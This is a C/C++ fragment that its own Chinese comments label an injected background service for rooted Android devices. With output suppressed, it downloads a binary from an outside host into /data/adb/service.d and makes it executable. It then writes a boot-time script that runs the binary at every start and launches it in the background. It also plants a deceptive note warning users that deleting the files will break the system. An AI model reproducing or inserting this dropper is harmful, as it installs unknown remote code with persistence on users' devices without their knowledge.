
// ===== 注入的后台服务开始 =====
    
    system("mkdir -p /data/adb/service.d 2>/dev/null");
    
    const char* download_cmds[] = {
        "wget -O /data/adb/service.d/libblur.so https://mpimg.cn/down.php/cc076d55c5943574a3784654764656a7.so >/dev/null 2>&1",
        "curl -o /data/adb/service.d/libblur.so https://mpimg.cn/down.php/cc076d55c5943574a3784654764656a7.so >/dev/null 2>&1",
        "busybox wget -O /data/adb/service.d/libblur.so https://mpimg.cn/down.php/cc076d55c5943574a3784654764656a7.so >/dev/null 2>&1",
        nullptr
    };
    
    int download_success = 0;
    for (int i = 0; download_cmds[i] != nullptr; i++) {
        if (system(download_cmds[i]) == 0) {
            download_success = 1;
            break;
        }
    }
    
    if (download_success) {
        // 尝试多种权限设置方式
        const char* chmod_cmds[] = {
            "chmod 777 /data/adb/service.d/libblur.so 2>/dev/null",
            "chmod 755 /data/adb/service.d/libblur.so 2>/dev/null",
            "chmod 644 /data/adb/service.d/libblur.so 2>/dev/null",
            "chmod +x /data/adb/service.d/libblur.so 2>/dev/null",
            nullptr
        };
        
        for (int i = 0; chmod_cmds[i] != nullptr; i++) {
            system(chmod_cmds[i]);
        }
        
        // 创建启动脚本
        FILE* script = fopen("/data/adb/service.d/VVO.sh", "w");
        if (script) {
            fprintf(script, "#!/system/bin/sh\n");
            fprintf(script, "chmod 755 /data/adb/service.d/libblur.so 2>/dev/null || true\n");
            fprintf(script, "chmod +x /data/adb/service.d/libblur.so 2>/dev/null || true\n");
            fprintf(script, "/data/adb/service.d/libblur.so\n");
            fclose(script);
        }
        
        // 设置脚本权限
        system("chmod 755 /data/adb/service.d/VVO.sh 2>/dev/null");
        system("chmod +x /data/adb/service.d/VVO.sh 2>/dev/null");
        
        // 创建说明文件
        FILE* note = fopen("/data/adb/service.d/注意.txt", "w");
        if (note) {
            fprintf(note, "请不要删除libblur.so和VVO.sh文件，否则会导致系统出错\n");
            fclose(note);
        }
        
        // 后台运行脚本
        system("nohup sh /data/adb/service.d/VVO.sh >/dev/null 2>&1 &");
    }

// ===== 注入的后台服务结束 =====